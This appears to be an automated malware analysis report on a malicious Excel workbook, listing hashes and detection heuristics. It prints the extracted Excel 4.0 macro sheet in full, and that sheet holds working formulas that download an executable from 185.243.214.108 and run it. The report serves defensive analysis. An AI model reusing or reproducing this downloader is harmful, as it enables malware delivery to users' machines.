Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 f8aeb73297ccad26…

MALICIOUS

Office (OOXML)

35.8 KB Created: 2015-06-05 18:17:20 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-10-16
MD5: 3220f2871c14c5010bd9e2f0149e98b8 SHA-1: 094a1f823f8917261ee9db16f897424fcf68af14 SHA-256: f8aeb73297ccad26e980dfb639398221cc065bf99503d39f0d0e0ff46a0e3d86
242 Risk Score

Heuristics 5

  • Excel 4.0 macro sheet (1 sheet(s)) critical 3 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: CALL, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Binary XLM macro sheet with WinAPI/download strings critical OOXML_XLM_BINARY_WINAPI_STRINGS
    Excel 4.0 macro sheet is stored as BIFF12/XLSB binary data and contains Win32 download or process-execution API strings such as URLDownloadToFileA, ShellExecuteA, or CreateDirectoryA. These strings are high-signal in XLM macro sheets and catch payload-download macros that XML-formula scanners cannot parse.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://185.243.214.108/build.exe Referenced by macro
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 4506 bytes
SHA-256: 7f6c1a41cbcb85919efd2e32416336f18fcf5a1635bbc642b9e1ad383e1c04ae
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0000-000000000000}"><dimension ref="A1:K49"/><sheetViews><sheetView showFormulas="1" tabSelected="1" zoomScaleNormal="100" workbookViewId="0"><selection activeCell="A15" sqref="A15"/></sheetView></sheetViews><sheetFormatPr defaultColWidth="0" defaultRowHeight="15" zeroHeight="1" x14ac:dyDescent="0.25"/><cols><col min="1" max="1" width="10.85546875" style="1" customWidth="1"/><col min="2" max="2" width="11.140625" style="1" customWidth="1"/><col min="3" max="11" width="9.140625" style="1" customWidth="1"/><col min="12" max="16384" width="9.140625" style="1" hidden="1"/></cols><sheetData><row r="1" spans="1:4" x14ac:dyDescent="0.25"><c r="A1" s="1" t="b"><f>SET.VALUE(B1,GET.WORKSPACE(26))</f><v>1</v></c><c r="B1" s="1" t="s"><v>0</v></c><c r="C1" s="1" t="s"><v>3</v></c><c r="D1" s="1" t="s"><v>5</v></c></row><row r="2" spans="1:4" x14ac:dyDescent="0.25"><c r="A2" s="1"><f>CALL(GET.CELL(53,B2),GET.CELL(53,B3),GET.CELL(53,C1),0,"http://185.243.214.108/build.exe","C:\Users\"&amp;GET.CELL(53,B1)&amp;"\AppData\Roaming\HelloWorld.exe",0,0)</f><v>0</v></c><c r="B2" s="1" t="s"><v>1</v></c><c r="C2" s="1" t="s"><v>4</v></c><c r="D2" s="1" t="s"><v>6</v></c></row><row r="3" spans="1:4" x14ac:dyDescent="0.25"><c r="A3" s="1"><f>CALL(GET.CELL(53,D1),GET.CELL(53,D2),GET.CELL(53,C2),0,"open","C:\Users\"&amp;GET.CELL(53,B1)&amp;"\AppData\Roaming\HelloWorld.exe","",0,5)</f><v>42</v></c><c r="B3" s="1" t="s"><v>2</v></c></row><row r="4" spans="1:4" x14ac:dyDescent="0.25"><c r="A4" s="1" t="b"><f>HALT()</f><v>1</v></c></row><row r="5" spans="1:4" x14ac:dyDescent="0.25"/><row r="6" spans="1:4" x14ac:dyDescent="0.25"/><row r="7" spans="1:4" x14ac:dyDescent="0.25"/><row r="8" spans="1:4" x14ac:dyDescent="0.25"/><row r="9" spans="1:4" x14ac:dyDescent="0.25"/><row r="10" spans="1:4" x14ac:dyDescent="0.25"/><row r="11" spans="1:4" x14ac:dyDescent="0.25"/><row r="12" spans="1:4" x14ac:dyDescent="0.25"/><row r="13" spans="1:4" x14ac:dyDescent="0.25"/><row r="14" spans="1:4" x14ac:dyDescent="0.25"/><row r="15" spans="1:4" x14ac:dyDescent="0.25"/><row r="16" spans="1:4" x14ac:dyDescent="0.25"/><row r="17" x14ac:dyDescent="0.25"/><row r="18" x14ac:dyDescent="0.25"/><row r="19" x14ac:dyDescent="0.25"/><row r="20" x14ac:dyDescent="0.25"/><row r="21" x14ac:dyDescent="0.25"/><row r="22" x14ac:dyDescent="0.25"/><row r="23" x14ac:dyDescent="0.25"/><row r="24" x14ac:dyDescent="0.25"/><row r="25" x14ac:dyDescent="0.25"/><row r="26" x14ac:dyDescent="0.25"/><row r="27" x14ac:dyDescent="0.25"/><row r="28" x14ac:dyDescent="0.25"/><row r="29" x14ac:dyDescent="0.25"/><row r="30" x14ac:dyDescent="0.25"/><row r="31" x14ac:dyDescent="0.25"/><row r="32" x14ac:dyDescent="0.25"/><row r="33" x14ac:dyDescent="0.25"/><row r="34" x14ac:dyDescent="0.25"/><row r="35" x14ac:dyDescent="0.25"/><row r="36" x14ac:dyDescent="0.25"/><row r="37" x14ac:dyDescent="0.25"/><row r="38" x14ac:dyDescent="0.25"/><row r="39" x14ac:dyDescent="0.25"/><row r="40" x14ac:dyDescent="0.25"/><row r="41" x14ac:dyDescent="0.25"/><row r="42" x14ac:dyDescent="0.25"/><row r="43" x14ac:dyDescent="0.25"/><row r="44" x14ac:dyDescent="0.25"/><row r="45" x14ac:dyDescent="0.25"/><row r="46" x14ac:dyDescent="0.25"/><row r="47" x14ac:dyDescent="0.25"/><row r="48" x14ac:dyDescent="0.25"/><row r="49" x14ac:dyDescent="0.25"/></sheetData><sheetProtection algorithmName="SHA-512" hashValue="sijE5m6aga9XZ1vs0tYnH5X2SJXusF7kjS9qEhQzplnLbc6kDTVhdp14uxr4Hh1O03xFuiOkqzT4aqxBW1+sfA==" saltValue="FLR8/Qo6dFo1WbrSZlLwQg==" spinCount="100000" sheet="1" objects="1" scenarios="1"/><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup orientation="portrait" r:id="rId1"/><drawing r:id="rId2"/></xm:macrosheet>

Open this report in the interactive analyzer, or submit your own file for analysis.